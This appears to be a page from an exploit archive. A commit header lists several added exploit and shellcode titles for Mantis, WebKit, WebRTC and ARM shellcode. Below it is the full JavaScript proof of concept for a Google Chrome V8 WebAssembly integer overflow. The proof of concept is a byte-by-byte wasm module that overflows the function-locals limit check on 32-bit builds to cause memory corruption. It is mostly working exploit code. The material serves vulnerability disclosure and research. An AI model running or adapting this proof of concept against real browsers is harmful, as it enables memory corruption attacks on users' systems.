0381c4c519
11 changes to exploits/shellcodes
Gnome Web (Epiphany) < 3.28.2.1 - Denial of Service
WebKit - WebAssembly Compilation Info Leak
Google Chrome - Integer Overflow when Processing WebAssembly Locals
WebKit - Use-After-Free when Resuming Generator
WebRTC - VP9 Frame Processing Out-of-Bounds Memory Access
WebRTC - VP9 Missing Frame Processing Out-of-Bounds Memory Access
TrendMicro OfficeScan XG 11.0 - Change Prevention Bypass
MantisBT XmlImportExport Plugin - PHP Code Injection (Metasploit)
Mantis Bug Tracker 1.2.0a3 < 1.2.17 XmlImportExport Plugin - PHP Code Injection (Metasploit) (2)
Mantis 1.1.3 - 'manage_proj_page' PHP Code Execution (Metasploit)
Mantis Bug Tracker 1.1.3 - 'manage_proj_page' PHP Code Execution (Metasploit)
MantisBT 1.2.3 (db_type) - Cross-Site Scripting / Full Path Disclosure
MantisBT 1.2.3 (db_type) - Local File Inclusion
Mantis Bug Tracker 1.2.3 - 'db_type' Cross-Site Scripting / Full Path Disclosure
Mantis Bug Tracker 1.2.3 - 'db_type' Local File Inclusion
Mantis 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution
Mantis Bug Tracker 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution
Mantis 0.19 - Remote Server-Side Script Execution
Mantis 0.x - Multiple Cross-Site Scripting Vulnerabilities
Mantis 0.x - New Account Signup Mass Emailing
Mantis Bug Tracker 0.19 - Remote Server-Side Script Execution
Mantis Bug Tracker 0.x - Multiple Cross-Site Scripting Vulnerabilities
Mantis Bug Tracker 0.x - New Account Signup Mass Emailing
Mantis 0.x/1.0 - Multiple Input Validation Vulnerabilities
Mantis Bug Tracker 0.x/1.0 - Multiple Input Validation Vulnerabilities
Mantis 0.19.2/1.0 - 'Bug_sponsorship_list_view_inc.php' File Inclusion
Mantis Bug Tracker 0.19.2/1.0 - 'Bug_sponsorship_list_view_inc.php' File Inclusion
Mantis 0.x/1.0 - 'View_filters_page.php' Cross-Site Scripting
Mantis Bug Tracker 0.x/1.0 - 'View_filters_page.php' Cross-Site Scripting
Mantis 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities
Mantis 0.x/1.0 - 'manage_user_page.php?sort' Cross-Site Scripting
Mantis Bug Tracker 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities
Mantis Bug Tracker 0.x/1.0 - 'manage_user_page.php?sort' Cross-Site Scripting
MantisBT 1.1.8 - Cross-Site Scripting / SQL Injection
Mantis Bug Tracker 1.1.8 - Cross-Site Scripting / SQL Injection
MantisBT 1.2.19 - Host Header
Mantis Bug Tracker 1.2.19 - Host Header
MantisBT 1.2.0a3 < 1.2.17 - XmlImportExport Plugin PHP Code Injection (Metasploit)
Mantis Bug Tracker 1.2.0a3 < 1.2.17 XmlImportExport Plugin - PHP Code Injection (Metasploit) (1)
Monstra CMS < 3.0.4 - Cross-Site Scripting Automation
Monstra CMS < 3.0.4 - Cross-Site Scripting
XiongMai uc-httpd 1.0.0 - Buffer Overflow
Splunk < 7.0.1 - Information Disclosure
Linux/ARM - Egghunter (\x50\x90\x50\x90) + execve('/bin/sh') Shellcode (32 bytes)
Linux/ARM - Egghunter (0x50905090) + execve('/bin/sh') Shellcode (32 bytes)
Linux/ARM - Egghunter (0x50905090) + execve('/bin/sh') Shellcode (60 bytes)
191 lines
No EOL
3.4 KiB
JavaScript
191 lines
No EOL
3.4 KiB
JavaScript
/*
|
|
When v8 decodes the locals of a function, it performs a check:
|
|
|
|
if ((count + type_list->size()) > kV8MaxWasmFunctionLocals) {
|
|
decoder->error(decoder->pc() - 1, "local count too large");
|
|
return false;
|
|
}
|
|
|
|
On a 32-bit platform, this check can be bypassed due to an integer overflow. This allows the number of function locals to be large, and can lead to memory corruption when the locals are allocated.
|
|
|
|
A PoC is attached.
|
|
*/
|
|
|
|
var b2 = new Uint8Array( 171);
|
|
b2[0] = 0x0;
|
|
b2[1] = 0x61;
|
|
b2[2] = 0x73;
|
|
b2[3] = 0x6d;
|
|
b2[4] = 0x1;
|
|
b2[5] = 0x0;
|
|
b2[6] = 0x0;
|
|
b2[7] = 0x0;
|
|
b2[8] = 0x1;
|
|
b2[9] = 0xe;
|
|
b2[10] = 0x3;
|
|
b2[11] = 0x60;
|
|
b2[12] = 0x1;
|
|
b2[13] = 0x7f;
|
|
b2[14] = 0x0;
|
|
b2[15] = 0x60;
|
|
b2[16] = 0x0;
|
|
b2[17] = 0x0;
|
|
b2[18] = 0x60;
|
|
b2[19] = 0x2;
|
|
b2[20] = 0x7f;
|
|
b2[21] = 0x7f;
|
|
b2[22] = 0x1;
|
|
b2[23] = 0x7f;
|
|
b2[24] = 0x2;
|
|
b2[25] = 0x23;
|
|
b2[26] = 0x2;
|
|
b2[27] = 0x2;
|
|
b2[28] = 0x6a;
|
|
b2[29] = 0x73;
|
|
b2[30] = 0x3;
|
|
b2[31] = 0x6d;
|
|
b2[32] = 0x65;
|
|
b2[33] = 0x6d;
|
|
b2[34] = 0x2;
|
|
b2[35] = 0x0;
|
|
b2[36] = 0x1;
|
|
b2[37] = 0x7;
|
|
b2[38] = 0x69;
|
|
b2[39] = 0x6d;
|
|
b2[40] = 0x70;
|
|
b2[41] = 0x6f;
|
|
b2[42] = 0x72;
|
|
b2[43] = 0x74;
|
|
b2[44] = 0x73;
|
|
b2[45] = 0xd;
|
|
b2[46] = 0x69;
|
|
b2[47] = 0x6d;
|
|
b2[48] = 0x70;
|
|
b2[49] = 0x6f;
|
|
b2[50] = 0x72;
|
|
b2[51] = 0x74;
|
|
b2[52] = 0x65;
|
|
b2[53] = 0x64;
|
|
b2[54] = 0x5f;
|
|
b2[55] = 0x66;
|
|
b2[56] = 0x75;
|
|
b2[57] = 0x6e;
|
|
b2[58] = 0x63;
|
|
b2[59] = 0x0;
|
|
b2[60] = 0x0;
|
|
b2[61] = 0x3;
|
|
b2[62] = 0x3;
|
|
b2[63] = 0x2;
|
|
b2[64] = 0x1;
|
|
b2[65] = 0x2;
|
|
b2[66] = 0x7;
|
|
b2[67] = 0x1e;
|
|
b2[68] = 0x2;
|
|
b2[69] = 0xd;
|
|
b2[70] = 0x65;
|
|
b2[71] = 0x78;
|
|
b2[72] = 0x70;
|
|
b2[73] = 0x6f;
|
|
b2[74] = 0x72;
|
|
b2[75] = 0x74;
|
|
b2[76] = 0x65;
|
|
b2[77] = 0x64;
|
|
b2[78] = 0x5f;
|
|
b2[79] = 0x66;
|
|
b2[80] = 0x75;
|
|
b2[81] = 0x6e;
|
|
b2[82] = 0x63;
|
|
b2[83] = 0x0;
|
|
b2[84] = 0x1;
|
|
b2[85] = 0xa;
|
|
b2[86] = 0x61;
|
|
b2[87] = 0x63;
|
|
b2[88] = 0x63;
|
|
b2[89] = 0x75;
|
|
b2[90] = 0x6d;
|
|
b2[91] = 0x75;
|
|
b2[92] = 0x6c;
|
|
b2[93] = 0x61;
|
|
b2[94] = 0x74;
|
|
b2[95] = 0x65;
|
|
b2[96] = 0x0;
|
|
b2[97] = 0x2;
|
|
b2[98] = 0xa;
|
|
b2[99] = 0x47;
|
|
b2[100] = 0x2;
|
|
b2[101] = 0x6;
|
|
b2[102] = 0x0;
|
|
b2[103] = 0x41;
|
|
b2[104] = 0x2a;
|
|
b2[105] = 0x10;
|
|
b2[106] = 0x0;
|
|
b2[107] = 0xb;
|
|
b2[108] = 0x3e;
|
|
b2[109] = 0x1;
|
|
b2[110] = 0xff;
|
|
b2[111] = 0xff;
|
|
b2[112] = 0xff;
|
|
b2[113] = 0xff;
|
|
b2[114] = 0x0f;
|
|
b2[115] = 0x7f;
|
|
b2[116] = 0x20;
|
|
b2[117] = 0x0;
|
|
b2[118] = 0x20;
|
|
b2[119] = 0x1;
|
|
b2[120] = 0x41;
|
|
b2[121] = 0x4;
|
|
b2[122] = 0x6c;
|
|
b2[123] = 0x6a;
|
|
b2[124] = 0x21;
|
|
b2[125] = 0x2;
|
|
b2[126] = 0x2;
|
|
b2[127] = 0x40;
|
|
b2[128] = 0x3;
|
|
b2[129] = 0x40;
|
|
b2[130] = 0x20;
|
|
b2[131] = 0x0;
|
|
b2[132] = 0x20;
|
|
b2[133] = 0x2;
|
|
b2[134] = 0x46;
|
|
b2[135] = 0xd;
|
|
b2[136] = 0x1;
|
|
b2[137] = 0x41;
|
|
b2[138] = 0x2a;
|
|
b2[139] = 0x10;
|
|
b2[140] = 0x0;
|
|
b2[141] = 0x20;
|
|
b2[142] = 0x3;
|
|
b2[143] = 0x41;
|
|
b2[144] = 0xc4;
|
|
b2[145] = 0x0;
|
|
b2[146] = 0x20;
|
|
b2[147] = 0x0;
|
|
b2[148] = 0x36;
|
|
b2[149] = 0x2;
|
|
b2[150] = 0x0;
|
|
b2[151] = 0x41;
|
|
b2[152] = 0xc4;
|
|
b2[153] = 0x0;
|
|
b2[154] = 0x6a;
|
|
b2[155] = 0x21;
|
|
b2[156] = 0x3;
|
|
b2[157] = 0x20;
|
|
b2[158] = 0x0;
|
|
b2[159] = 0x41;
|
|
b2[160] = 0x4;
|
|
b2[161] = 0x6a;
|
|
b2[162] = 0x21;
|
|
b2[163] = 0x0;
|
|
b2[164] = 0xc;
|
|
b2[165] = 0x0;
|
|
b2[166] = 0xb;
|
|
b2[167] = 0xb;
|
|
b2[168] = 0x20;
|
|
b2[169] = 0x3;
|
|
b2[170] = 0xb;
|
|
|
|
function f(){print("in f");}
|
|
var memory = new WebAssembly.Memory({initial:1, maximum:1});
|
|
var mod = new WebAssembly.Module(b2);
|
|
var i = new WebAssembly.Instance(mod, { imports : {imported_func : f}, js : {mem : memory}});
|
|
i.exports.accumulate.call(0, 5); |